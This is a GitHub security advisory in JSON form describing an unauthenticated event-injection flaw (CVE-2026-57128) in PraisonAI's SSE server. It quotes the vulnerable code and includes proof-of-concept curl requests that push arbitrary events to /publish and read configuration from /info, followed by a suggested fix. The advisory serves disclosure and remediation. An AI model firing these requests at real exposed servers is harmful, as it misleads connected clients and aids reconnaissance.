CVE-2026-57128: PraisonAI Unauthenticated Event Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-35w5-pcw4-jx94",
  "modified" : "2026-07-20T21:25:52Z",
  "published" : "2026-06-18T13:52:13Z",
  "aliases" : [ "CVE-2026-57128" ],
  "summary" : "PraisonAI: Unauthenticated Event Injection via SSE `/publish` Endpoint",
  "details" : "## Summary\n\nThe SSE (Server-Sent Events) server in `src/praisonai-agents/praisonaiagents/server/server.py` exposes a `/publish` endpoint that broadcasts arbitrary messages to all connected clients without any authentication. The `ServerConfig` dataclass (line 24) defines an `auth_token` field, but this token is never validated in the `/publish` or `/events` request handlers. Any attacker with access to the SSE server port can inject arbitrary events into the SSE stream visible to all connected clients, or use `/info` to leak server configuration including connected client count.\n\n## Details\n\n**Vulnerable code (lines 164–180):**\n```python\nasync def publish(request):\n    try:\n        data = await request.json()\n        event_type = data.get(\"type\", \"message\")\n        event_data = data.get(\"data\", {})\n\n        self.broadcast(event_type, event_data)\n\n        return JSONResponse({\n            \"success\": True,\n            \"clients\": len(self._clients),\n        })\n```\n\nThe `auth_token` field in `ServerConfig` (line 31):\n```python\n@dataclass\nclass ServerConfig:\n    ...\n    auth_token: Optional[str] = None\n```\n\nThis `auth_token` is **never referenced** in any request handler. The `/publish` endpoint processes any POST request regardless of authentication headers. The `/info` endpoint (line 182) also has no auth and returns server configuration including `self.config.to_dict()`.\n\n**Routes registration (lines 190–194):**\n```python\nroutes = [\n    Route(\"/health\", health, methods=[\"GET\"]),\n    Route(\"/events\", events, methods=[\"GET\"]),\n    Route(\"/publish\", publish, methods=[\"POST\"]),\n    Route(\"/info\", info, methods=[\"GET\"]),\n]\n```\n\nNo authentication middleware or token validation is applied to any route.\n\n## PoC\n\n**Setup:** Start the SSE server (default port 8765). This is the documented server mode for streaming agent events.\n\n**Positive trigger — unauthenticated event injection:**\n```bash\n# From any network-reachable host:\ncurl -X POST http://localhost:8765/publish \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"type\": \"message\", \"data\": {\"text\": \"INJECTED: arbitrary content sent to all clients\"}}'\n```\n\n**Expected response:**\n```json\n{\"success\": true, \"clients\": 3}\n```\n\nThe response confirms the injection was broadcast to all connected SSE clients, and leaks the number of connected clients.\n\n**Positive trigger — info leak:**\n```bash\ncurl http://localhost:8765/info\n```\n\n**Expected response:**\n```json\n{\n  \"name\": \"PraisonAI Agent Server\",\n  \"version\": \"1.0.0\",\n  \"clients\": 3,\n  \"config\": {\n    \"host\": \"127.0.0.1\",\n    \"port\": 8765,\n    \"auth_token\": \"***\",\n    ...\n  }\n}\n```\n\n**Negative control — if auth were enforced:**\nA request without a valid `Authorization: Bearer <token>` header should return 401 Unauthorized. Currently, it returns 200 OK with no auth check.\n\n**Cleanup:** No persistent changes.\n\n## Impact\n\nAn attacker with access to the SSE server port (default 8765, bound to `127.0.0.1` by default per `DEFAULT_HOST` at line 21) can:\n\n- **Inject arbitrary events** into the SSE stream, potentially causing connected client applications to process malicious data, trigger actions, or display misleading content\n- **Leak server configuration** including number of connected clients and server settings via `/info`\n- **Use the response** to confirm connected client count, enabling reconnaissance\n\nWhile the default binds to localhost, deployments in containers or cloud environments commonly override the host to `0.0.0.0` to allow external access. When the host is overridden, this is exploitable from the network without authentication.\n\n## Suggested remediation\n\n1. **Validate `auth_token`** in the `/publish` and `/events` handlers:\n```python\nasync def publish(request):\n    token = request.headers.get(\"Authorization\", \"\").replace(\"Bearer \", \"\")\n    if self.config.auth_token and token != self.config.auth_token:\n        return JSONResponse({\"error\": \"Unauthorized\"}, status_code=401)\n    # ... proceed with broadcast\n```\n\n2. Apply the same token validation to `/events` (for reading) and `/info`.\n\n3. The default binding to `127.0.0.1` is appropriate; maintain this default and warn when overridden to `0.0.0.0`.\n\n4. Document the `auth_token` configuration option and recommend setting it in production.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonaiagents"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.59"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.6.48"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-35w5-pcw4-jx94"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-18T13:52:13Z",
    "nvd_published_at" : null
  }
}